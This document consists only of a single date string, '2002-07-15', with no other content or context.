2002-07-15